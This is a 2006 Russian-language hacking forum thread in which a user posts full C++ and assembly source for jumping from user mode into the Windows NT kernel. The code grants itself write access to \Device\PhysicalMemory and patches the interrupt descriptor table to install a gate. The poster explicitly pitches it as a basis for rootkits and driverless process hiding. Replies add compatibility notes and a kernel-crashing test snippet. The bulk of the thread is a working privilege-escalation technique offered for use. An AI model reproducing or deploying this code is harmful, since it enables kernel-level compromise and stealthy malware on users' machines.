Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Штурм режима ядра (https://forum.antichat.xyz/showthread.php?t=28545)

sn0w 05.12.2006 19:07

Штурм режима ядра
 
Итак, заморочался давеча и решил выложить такую няму, как прямой переход в режим ядра NT и вызов ядерных функций (твой руткит в твоем exe ;)). В данном случае для прорыва в ring0 используется методика калгейта. В примере мы сначала ловим адрес ntoskrnl из ring3 режима, затем переходим в ring0 и начинаем сканировать образ ntoskrnl на предмет экспортов. Из юзер мода эт кстати невозможно. Находим ExAllocatePoolWithTag и вызываем ее (память выделяет короче, и возвращает указатель на выделенный участок) после чего возвращаемся в ring3 и демонстрируем юзеру за счет MessageBox'a плод наших трудов. Сей пример мягко говоря намекает на то что такие фичи как скрытие процесса (что реализовалось при помощи драйверов) терь возможно и без них...

-------------------------------
main.cpp
-------------------------------
#include <windows.h>

int __cdecl ring0_execute(LPVOID lpKernelProc);
DWORD ring0_GetKernelBase();

DWORD g_KernBase;
DWORD g_Address;
DWORD g_Mem;

PVOID R0_GetProcAddress(PCHAR pFunctionName)
{
PVOID pFunctionAddress = NULL;
PVOID ModuleBase = (PVOID)g_KernBase;

__try{
PIMAGE_DOS_HEADER dos =(PIMAGE_DOS_HEADER) ModuleBase;
PIMAGE_NT_HEADERS nt =(PIMAGE_NT_HEADERS)((ULONG) ModuleBase + dos->e_lfanew);

PIMAGE_DATA_DIRECTORY expdir = (PIMAGE_DATA_DIRECTORY)
(nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT);
ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;

PIMAGE_EXPORT_DIRECTORY exports =(PIMAGE_EXPORT_DIRECTORY)((ULONG) ModuleBase + addr);

PULONG functions =(PULONG)((ULONG) ModuleBase + exports->AddressOfFunctions);
PSHORT ordinals =(PSHORT)((ULONG) ModuleBase + exports->AddressOfNameOrdinals);
PULONG names =(PULONG)((ULONG) ModuleBase + exports->AddressOfNames);
ULONG max_name =exports->NumberOfNames;
ULONG max_func =exports->NumberOfFunctions;

ULONG i;

for (i = 0; i < max_name; i++){
ULONG ord = ordinals[i];
if(i >= max_name || ord >= max_func){
return NULL;
}
if (functions[ord] < addr || functions[ord] >= addr + size){
if (strcmp((PCHAR) ModuleBase + names[i], pFunctionName) == 0){
pFunctionAddress =(PVOID)((PCHAR) ModuleBase + functions[ord]);
break;
}
}
}
}
__except(EXCEPTION_EXECUTE_HANDLER){
pFunctionAddress = NULL;
}
return pFunctionAddress;
}


//
// WARNING! This routine should be executed in KERNEL MODE ONLY
//
void R0_DISCOVER_AND_EXECUTE()
{

g_Address = (DWORD)R0_GetProcAddress("ExAllocatePoolWithTag");


__asm{ // вызываем ExAllocatePoolWithTag - выделяем 100байт памяти ядра
push eax
mov eax, g_Address
push 0x12345678
push 0x64
push 0x1
call eax
mov g_Mem, eax
pop eax
}

}

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
char s_buff[256];

g_KernBase = ring0_GetKernelBase();
if(!g_KernBase){
MessageBox(0, "Couldn\'t discover kernel base address", "Error", MB_OK|MB_ICONWARNING);
return 0;
}

ring0_execute(R0_DISCOVER_AND_EXECUTE);

wsprintf(s_buff, "Execute complete. ExAllocatePoolWithTag address: 0x%.8X, allocated memory address: 0x%.8X", g_Address, g_Mem);
MessageBox(0, s_buff, "Done", MB_OK|MB_ICONWARNING);

return 0;
}



-------------------------
ring0.cpp (калгейт)
-------------------------

/*
* terazin-b by sn0w [at antichat dot ru]
* (c) leaders of antichat team, 2006
*
* greetz: zaco skvoznoy kez
*
*/

/*
* ring0.cpp - kernel mode code execution engine
*
*/

#include <windows.h>
#include <aclapi.h>

#define INTNUMBER 0F0h
#define SE_KERNEL_OBJECT 6
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE 0x00000200L

#define INIT_UNICODE(_var,_buffer) \
UNICODE_STRING _var = { \
sizeof (_buffer) - sizeof (WORD), \
sizeof (_buffer), \
_buffer }

#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef (__stdcall *_NtOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes);

//
// Kernel Mode Execution routine
//
// return values: 0 - failed to execute, 1 - execute success
// NOTE: when a function fails you can attempt to recall it.
//
// WARNING! when you want to modify functional code you must
// take your attention on automatic variables inside body.
// default stack restore is /add esp, 60h/
//
//
int __cdecl ring0_execute(LPVOID lpKernelProc)
{
_NtOpenSection NtOpenSection = (_NtOpenSection)GetProcAddress(GetModuleHandle("nt dll.dll"),"NtOpenSection");
OBJECT_ATTRIBUTES ObAttributes;
EXPLICIT_ACCESS Access;
HANDLE hSection;
LPVOID pbMap;
PACL OldDacl=NULL, NewDacl=NULL;
PSECURITY_DESCRIPTOR SecDesc=NULL;

INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

InitializeObjectAttributes(&ObAttributes,&ObString ,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL);

Access.grfAccessPermissions = SECTION_MAP_WRITE;
Access.grfAccessMode = GRANT_ACCESS;
Access.grfInheritance = NO_INHERITANCE;
Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
Access.Trustee.pMultipleTrustee = NULL;
Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
Access.Trustee.TrusteeType = TRUSTEE_IS_USER;
Access.Trustee.ptstrName = "CURRENT_USER";

if(NtOpenSection(&hSection,SECTION_MAP_READ|SECTIO N_MAP_WRITE,&ObAttributes)==-1)
goto hook_interrupt;

NtOpenSection(&hSection,MEM_MAPPED|MEM_PRIVATE,&Ob Attributes);
GetSecurityInfo(hSection,(SE_OBJECT_TYPE)SE_KERNEL _OBJECT,DACL_SECURITY_INFORMATION,0,0,&OldDacl,0,& SecDesc);
SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
SetSecurityInfo(hSection, (SE_OBJECT_TYPE)SE_KERNEL_OBJECT,DACL_SECURITY_INF ORMATION,NULL,NULL,NewDacl,NULL);
CloseHandle(hSection);
NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_M AP_WRITE,&ObAttributes);


__asm {
hook_interrupt:
push eax
sidt fword ptr [esp - 2]
pop esi
btr esi, 1fh
push 1
push esi
push 0
push SECTION_MAP_WRITE
push hSection
call dword ptr ds:MapViewOfFile

cmp eax, 0
jnz map_ok
push hSection
call dword ptr ds:CloseHandle
xor eax, eax
add esp, 60h // stack restore
ret
map_ok:
mov [pbMap], eax
and esi, 0fffh
lea esi, dword ptr [eax + esi + INTNUMBER * 8]
fild qword ptr [esi]
call skip_ring0
// begin ring 0
call lpKernelProc
iretd
// end ring 0
skip_ring0:
pop word ptr [esi]
mov byte ptr [esi + 2], 8
mov byte ptr [esi + 5], 0eeh
pop word ptr [esi + 6]
int INTNUMBER
}

UnmapViewOfFile(pbMap);
CloseHandle(hSection);

return 1;
}



//
// some auxilary funcs
//

#define NTSTATUS LONG
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define DEF_KERNEL_BASE 0x80400000L
#define SystemModuleInformation 11

typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION;


DWORD ring0_GetKernelBase()
{
HANDLE hHeap = GetProcessHeap();

NTSTATUS Status;
ULONG cbBuffer = 0x8000;
PVOID pBuffer = NULL;
DWORD retVal = DEF_KERNEL_BASE;

HMODULE hntdll = GetModuleHandle("ntdll.dll");

NTSTATUS (WINAPI * _NtQuerySystemInformation)(UINT, PVOID, ULONG, PULONG);
*(FARPROC *)&_NtQuerySystemInformation = GetProcAddress(hntdll, "ZwQuerySystemInformation");

do
{
pBuffer = HeapAlloc(hHeap, 0, cbBuffer);
if (pBuffer == NULL)
return DEF_KERNEL_BASE;

Status = _NtQuerySystemInformation(SystemModuleInformation,
pBuffer, cbBuffer, NULL);

if(Status == STATUS_INFO_LENGTH_MISMATCH)
{
HeapFree(hHeap, 0, pBuffer);
cbBuffer *= 2;
}
else if(Status != STATUS_SUCCESS)
{
HeapFree(hHeap, 0, pBuffer);
return DEF_KERNEL_BASE;
}
}
while (Status == STATUS_INFO_LENGTH_MISMATCH);

DWORD numEntries = *((DWORD *)pBuffer);
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)((char *)pBuffer + sizeof(DWORD));

for(DWORD i = 0; i < numEntries; i++)
{
if(strcmpi(smi->ImageName, "ntoskrnl.exe"))
{
retVal = (DWORD)(smi->Base);
break;
}
smi++;
}

HeapFree(hHeap, 0, pBuffer);
return retVal;
}



---------------
усе. компилим вместе
удачи на поприще))

ProTeuS 05.12.2006 20:39

поправь, если ошибаюсь, но не это ли у хогланда в прошлогодней книге в сорцах пе4аталось?

sn0w 05.12.2006 21:52

чел, я неуч, не читал этой темы реал) то что сделал то сделал)

TaNkist 06.12.2006 14:36

Кстати на Windows2003 и Vist'е данный код работать не будет. т.к. там закрыли доступ к \\Device\\PhysicalMemory.

sn0w 06.12.2006 15:17

забыл кста отписать что под вынь 2к3 и висту не идет

KSURi 06.12.2006 15:54

Переход в ring0 через callgate довольно подробно описан Горлумом в прошлогоднем декабрьском Х

_Great_ 06.12.2006 16:00

Цитата:

Переход в ring0 через callgate довольно подробно описан Горлумом в прошлогоднем декабрьском Х
нихрена не подробно и вообще там пример галимый.

я собирался написать такую хрень, но все никак не было времени разобраться с переходом в ring 0.
sn0w, respect :)

_Great_ 06.12.2006 16:20

Я доэкспериментировался )

Кстати, а обработка исключений не предусмотрена чтоли при использовании call gate'ов?

Код:

__try {
  __asm {
    xor eax,eax
    mov [eax],eax
  }
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

система уходит в полный даун, хотя по идее не должна :)

ProTeuS 06.12.2006 16:27

горлум, если вы еще не поняли, пи*ид все у руссинови4а, рихтера и хогланда...

sn0w 06.12.2006 17:15

Цитата:

Сообщение от _Great_
Я доэкспериментировался )

Кстати, а обработка исключений не предусмотрена чтоли при использовании call gate'ов?

Код:

__try {
  __asm {
    xor eax,eax
    mov [eax],eax
  }
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

система уходит в полный даун, хотя по идее не должна :)


)))))))) как ни странно, первый ядерный код который запустил на калгейте был такой же))) потом правд всякую муть делал типа килл кмос итд)


Время: 22:55